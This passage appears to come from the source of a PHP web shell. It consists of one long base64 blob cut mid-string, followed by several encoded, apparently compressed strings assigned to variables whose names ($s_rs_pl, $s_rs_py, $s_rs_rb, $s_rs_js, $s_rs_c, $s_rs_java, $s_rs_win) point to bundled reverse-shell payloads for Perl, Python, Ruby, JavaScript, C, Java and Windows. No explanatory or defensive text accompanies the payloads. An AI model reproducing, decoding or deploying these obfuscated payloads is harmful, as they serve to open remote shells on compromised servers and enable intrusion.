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"; $s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A"; $s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE="; $s_rs_rb = "tVZrb9s2FP1M/QqWySprcaSm6zDMmWL0sQ4FVtRI0w1DlRU2dW0RkUmNpOoUSfbbx5ccu7aTDNhoGJTuPbxP3mPvPcpaJbMJ4xnwz1i2ky/RHq60btQgy6goIZ0JMashpWKeNdnkux+eXRyqCuo6iyT81TIJOFaCXoCObwXNWFd8PIc4ikqYYtXSCxUhCbqVHJ9+ePHHp9Gvz89evzt9m5ZiwelYQTofa1r14rlaMH5tv3PGZ4s4GWrZwmA6rhVEwEtvUcK4tk56SsvEWM7NHiE2xa+ZiRUumdJqGJRGOwrxpBwWTpp2BlItPpnQrGF73EWKdQUcy1ymM9VOelmRZX1SFCTBDhbSkD4ac+j56S+/pTXwma7y/CjCZlnRxyfn+d/Znx+fHP54fnXU//5mPxs2+RuuYQayFxDJwASr3RmVn70cvQf5GaSLk5B+kzgNzVU6phQaD6RpIxnXmLhuYNcNPMBUcA5UQ1lw4nATmDHunuwygXKhQy/wyprm1FaBrQnhEihWzs+0R+CyEVLjs59P3+aXGuT8ePT+KI+L/dHvr4qT+DjojfDY3SVV4UOGi5+Kx9+UuDhx21O/k/7UfpKlN7CNXXXdpbfsMUlJckBOyBpqUZlO49rEPgO9npBdcswUYJBSyBdS2ORr24ySQSGH+9kGPlSnTmkl5k2eE7IBCTBrh5Y4/TZjWyF21Xkd7o5BZqwfx4k3vPNEd3VLMz9UC/ll2KuTnWjvY1mge5CvmDTejeW7gPYy79I9rCNLS7UKZSoWgzvLtC1pX6cHJ3Qf/D9NC3aaevMubUQDvFf3iSTJ1TUT1515JizblAfEzOXBhq+b7c62hP21bPW9e5agaHt77w35LekFuGrlbQYqpbVYyUjlnNVRZ8v3cI3YnjqC3EFsxtEmtR0baZW7t6Nzw7G2gCEgT7ie8dyPh2e8vavqxrEeUg/gOOQJDqE1akMITQ1fOkZD1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP"; $s_rs_js = "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU="; $s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU="; $s_rs_java = "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP"; $s_rs_win = "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